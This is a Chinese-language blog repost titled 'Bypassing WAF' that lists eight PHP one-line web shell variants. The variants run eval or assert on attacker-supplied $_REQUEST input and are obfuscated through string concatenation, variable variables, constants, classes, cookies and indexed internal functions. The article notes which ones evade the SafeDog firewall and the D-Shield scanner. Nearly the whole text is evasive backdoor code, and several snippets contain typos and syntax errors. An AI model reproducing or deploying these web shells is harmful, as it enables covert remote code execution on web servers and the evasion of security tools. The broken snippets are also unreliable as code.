绕过WAF

编程入门 行业动态 更新时间:2024-10-10 09:18:56

绕过<a href=https://www.elefans.com/category/jswz/34/1757315.html style=WAF"/>

绕过WAF

注:本次的测试环境是最新的安全狗Apache:V4.0
一句话木马:<?php eval($_REQUEST['a'])?>
1.但是这样写容易被安全狗这些拦截,所以可以考虑替换某些函数,比如eval换成assert()或者reate_function()或者是call_user_func()
2.使用end()函数来代替,可以写成:

<?php eval(end($_REQUEST)); ?>

注:密码是随便写,在安全狗上是查不出来的,但是D盾会查出一个最低价的危险,所以,如果要让D盾完全测不出来可以这样写:

<?php if($_SERVER['HTTP_USER_AGENT'] === '1'{
eval(end($_REQUEST));} 
?>

3.字符拼接加双美元符

<?php
$a='ass';
$b='ert';
$funcName=$a.$b  //assert
$x='funcName';
$$x($_REQUEST['a']);
?>

4.常量

<?php
defin("a","$_REQUEST['a']");eval(a);
?>

5.用函数强行分割

<?php
function a($a){
return $a;}
eval (a($_REQUEST)['hh']);
?>

6.用类分割

<?php
class User
{public $name=' ';
function_destruct(){
eval("$this->name");
}
$user=new User;
$user->name=' '.$_REQUEST['a'];
?>

7.多方式传参

<?php
$COOKIE=$_COOKIE;//得到数组
foreach($COOKIE as $key => $value)
{if($key == 'assert'){
$key($_REQUEST['a']);}
}
?>

8.CTF中看到的一个手法(但是D盾可以发现这个木马)

<?php
$a=get_define_functions();
$a['internal'][841]($_REQUEST['hh']);
?>
注:$a['internal'][841]表示的是assert

更多推荐

绕过WAF

本文发布于:2024-02-13 15:17:11,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1758982.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:WAF

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!